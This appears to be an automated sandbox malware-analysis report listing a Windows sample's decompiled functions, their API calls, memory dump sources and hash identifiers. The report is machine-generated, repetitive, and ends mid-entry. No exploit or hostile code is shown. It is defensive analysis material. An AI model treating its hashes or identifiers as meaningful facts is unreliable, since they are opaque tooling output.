Instruction ID: db13766e77d2055a9a48d6781c010216cab5519308bfceb0bbbdf801a0c660d9
Opcode Fuzzy Hash: bfd7b769b472cccbb15fa7a10d405888e3c09ea80c493a364842663e8bac6536
Instruction Fuzzy Hash: 5BE06D3160B23556EB713766BC05B9B764C9F817B4F178121EC58A6099CF64CC0092E1

Function 00905ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00905AC2

Part of subcall function 0090B505: __EH_prolog.LIBCMT ref: 0090B50A

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 6021cd4a867922d191daa8f5eef77afa0fba1e4964eede21056369dbbc23954a
Instruction ID: 9ebc322510fc7bd14eb9adff42c20e00a62ca32301c486a418dc176904e270bd
Opcode Fuzzy Hash: 6021cd4a867922d191daa8f5eef77afa0fba1e4964eede21056369dbbc23954a
Instruction Fuzzy Hash: 2C018C30A10798DED725E7B8C0417DDFBE4AFE4304F50858DA45A53282CBB92B48DBA2

Function 0090A56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 0090A69B: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0090A592,000000FF,?,?), ref: 0090A6C4
Part of subcall function 0090A69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0090A592,000000FF,?,?), ref: 0090A6F2
Part of subcall function 0090A69B: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0090A592,000000FF,?,?), ref: 0090A6FE

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0090A598

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: df66769a3e9655ff7ee357a60ababb4996dfd7b06315e77c4c24a0fd8be2f55b
Instruction ID: f346087be27f4c4d46b48d6d71af91a9eb24401f3f37f0e416b450f6382d740a
Opcode Fuzzy Hash: df66769a3e9655ff7ee357a60ababb4996dfd7b06315e77c4c24a0fd8be2f55b
Instruction Fuzzy Hash: BFF08232009790AFCB2257B88905BCBBBA46F5A331F04CA49F1FD521D6C37950949BA3

Function 00910E08 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00910E3D

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 63e706d3ebafb62755d596503228914007069d6bdbed42952b44e667b6260b00
Instruction ID: 08f3d010d96b5f587a03cf4a1f48138cf7ac360ab1088876ba32efcf1d393748
Opcode Fuzzy Hash: 63e706d3ebafb62755d596503228914007069d6bdbed42952b44e667b6260b00
Instruction Fuzzy Hash: F7D02B0075907C2AEF2133296816BFE260A8FC7310F0C0029F2895B1C3CF8508C2B261

Function 0091A626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 0091A62C

Part of subcall function 0091A3B9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 0091A3DA

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction ID: 7f61af322a05d32bcee0ed7551dfed607f1d2844e7ddaf189d74e1e5f4948e0b
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: AAD0A93030120CBADF026B228C02AEE7AA9EB40380F008021BC42C51A1EAB1DD90A262

Function 0091E5BB Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 0091E5E3

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: 3bbc6c126252ef50adea2c8ea94760d78220829794f8a7e3e741d95103fa2e80
Instruction ID: 0c49d3a98c00e44b909af481a3882d1e4a616c4e7d92ae3f82b4a9ed9218fe1b
Opcode Fuzzy Hash: 3bbc6c126252ef50adea2c8ea94760d78220829794f8a7e3e741d95103fa2e80
Instruction Fuzzy Hash: D2D012B03D42489BDB02EBA89946FDC77AAB368748FD80545F985D1491DBBC84C0FA05

Function 0091DD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00911B3E), ref: 0091DD92

Part of subcall function 0091B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0091B579
Part of subcall function 0091B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0091B58A
Part of subcall function 0091B568: IsDialogMessageW.USER32(00010464,?), ref: 0091B59E
Part of subcall function 0091B568: TranslateMessage.USER32(?), ref: 0091B5AC
Part of subcall function 0091B568: DispatchMessageW.USER32(?), ref: 0091B5B6

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: bc54b8807a1a99aac7147bc68ca98abf4f603f502f87d90056dd3ca9b3b26ab9
Instruction ID: a2df4de66e2ae550347892fd36751ac3f406ea5ed8c7defb30104e868f619fc1
Opcode Fuzzy Hash: bc54b8807a1a99aac7147bc68ca98abf4f603f502f87d90056dd3ca9b3b26ab9
Instruction Fuzzy Hash: 7BD09E71258300BAD6012B51CE06F0F7AA3ABC9B04F404954B384740F18AB29D61EB11

Function 009098BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,009097BE), ref: 009098C8

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 84c27b7c1f5c3a903c8e2592337ee939d8709b96307ad8b05425ae354e704464
Instruction ID: 1a9ba91545fa438f6f3efb8303973eef4d3e4f607184118e3ba80e905cded35f
Opcode Fuzzy Hash: 84c27b7c1f5c3a903c8e2592337ee939d8709b96307ad8b05425ae354e704464
Instruction Fuzzy Hash: 4AC002745042059ECE259A2498490997726AB533B67B4D694D469892E2C332CC97EA11

Function 0091E1D1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 74f42286a99e15789307dfe3db42c5155d15774dd62a2021d1797e01ccd18b9f
Instruction ID: bfc83f53af5226dae21513b2a4ad5de023be5f56fede3d264455cd04fd86a283
Opcode Fuzzy Hash: 74f42286a99e15789307dfe3db42c5155d15774dd62a2021d1797e01ccd18b9f
Instruction Fuzzy Hash: 4DB012D575C204BC310411551D06CB7011CD4C3B10330C83EFC02D0480D840AC811831

Function 0091E1F6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 34e06189c98d19a89fd1759ac3849398647fcec6f273438d69544131b7304f50
Instruction ID: 892fd8f65a74adc0008881e6c224cf3dd106260ab300b614b768c7a1e6b2434f
Opcode Fuzzy Hash: 34e06189c98d19a89fd1759ac3849398647fcec6f273438d69544131b7304f50
Instruction Fuzzy Hash: 78B012D175C104BC310456151C06DB7015CD4C2B20330C43EFC06C0580D840AC851931

Function 0091E1EC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1aae3d0339a4de0ac48fe1833116a91ae20ba293532888ea10c3531e72646716
Instruction ID: ea5a67446531713f22f33bc9ee27f9476431fb7b3a80d3c303cf26b5d1003616
Opcode Fuzzy Hash: 1aae3d0339a4de0ac48fe1833116a91ae20ba293532888ea10c3531e72646716
Instruction Fuzzy Hash: 5AB012D535C208BC310451591D06DB7015CE4C2B10330C43EFC06C0080D8406C811A31

Function 0091E282 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 42348bea281b6aea5d75a2da226fd9881d196f3191b0169d4fcd31b6f98817da
Instruction ID: 5bb7d0d91e0e2b54aad7db03c8545d90fc4ad696d3364dd8b9e5975ee0c27d02
Opcode Fuzzy Hash: 42348bea281b6aea5d75a2da226fd9881d196f3191b0169d4fcd31b6f98817da
Instruction Fuzzy Hash: 85B012E135C104BC310451161D06DB701DCD4C1B14730843EFC06C0080DC406DC22931

Function 0091E21E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1b61b2e2f5cc790249d4e5e240053da77d53fae858d5f5392407d40bd3c328b1
Instruction ID: b6f1a18abf08bc1d6ed267c6ba1db0fea48aec312fc315b4b1c9fb87d9bbfdeb
Opcode Fuzzy Hash: 1b61b2e2f5cc790249d4e5e240053da77d53fae858d5f5392407d40bd3c328b1
Instruction Fuzzy Hash: 13B012E175C104BC310451151C06DB7015CD4C3F10330C43EFC06C0081D840AD851931

Function 0091E200 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b660634ae002de9d89eacaa6d0382017d4b991ff129895f526de078fe4b153b2
Instruction ID: 32c1c6f04feee47a1c82757e0ed054522e226035f21b92d5d965584c51002e0a
Opcode Fuzzy Hash: b660634ae002de9d89eacaa6d0382017d4b991ff129895f526de078fe4b153b2
Instruction Fuzzy Hash: 69B012D136C244BD314452151C06DB7015CD4C1B20330C53EFC06C0580D8406CC51931

Function 0091E20A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6bb4ac769f6369893aaf87ff57faffb52c499f1dcd287d0c367804a8404460d7
Instruction ID: 91fbb2a420dff3acad31e5670147fbaab75b94722ff0acf8a7f04567d83925e3
Opcode Fuzzy Hash: 6bb4ac769f6369893aaf87ff57faffb52c499f1dcd287d0c367804a8404460d7
Instruction Fuzzy Hash: 02B012D135C104BC310452151D06DB7015CD4C1B20330C43EFC06C0580DC506D8A1931

Function 0091E232 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: dac6cf6cd0271f911b01f485a79cf836a08053a1e903233ef0eda927692a1b02
Instruction ID: cc359d4a00ebfe90b8e01b3843f9f130cb6279cbce6af08b4be3e3372a873431
Opcode Fuzzy Hash: dac6cf6cd0271f911b01f485a79cf836a08053a1e903233ef0eda927692a1b02
Instruction Fuzzy Hash: CEB012E135C104BC310455151D06DB7015CD4C2F10330843EFC06C0081DC406E821931

Function 0091E23C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 56fde4a16fde36535682aca08bd7d91030579568b176a142206d346ed4ee5c0c
Instruction ID: ecc48fb884b7e0931c66ecba1d6f02a0b346273760eb9180ee0d40cce24ff8fd
Opcode Fuzzy Hash: 56fde4a16fde36535682aca08bd7d91030579568b176a142206d346ed4ee5c0c
Instruction Fuzzy Hash: B1B012E135C104BC310451161C06DB7015CE4C2F10330843EFC06C0081D8406D811931

Function 0091E228 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e635243d8bf58c1d6d92bde90acf660a48fb9bdc6800d3cc5dc9f560878dd02f
Instruction ID: 6f3074aef4219cbc306677c7a0cca7d998ec61aeffa54dffde86489854c4e544
Opcode Fuzzy Hash: e635243d8bf58c1d6d92bde90acf660a48fb9bdc6800d3cc5dc9f560878dd02f
Instruction Fuzzy Hash: B7B012E135C204BD314451151C06DB7015CD4C2F10330853EFC06C0081D8406DC11971

Function 0091E250 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

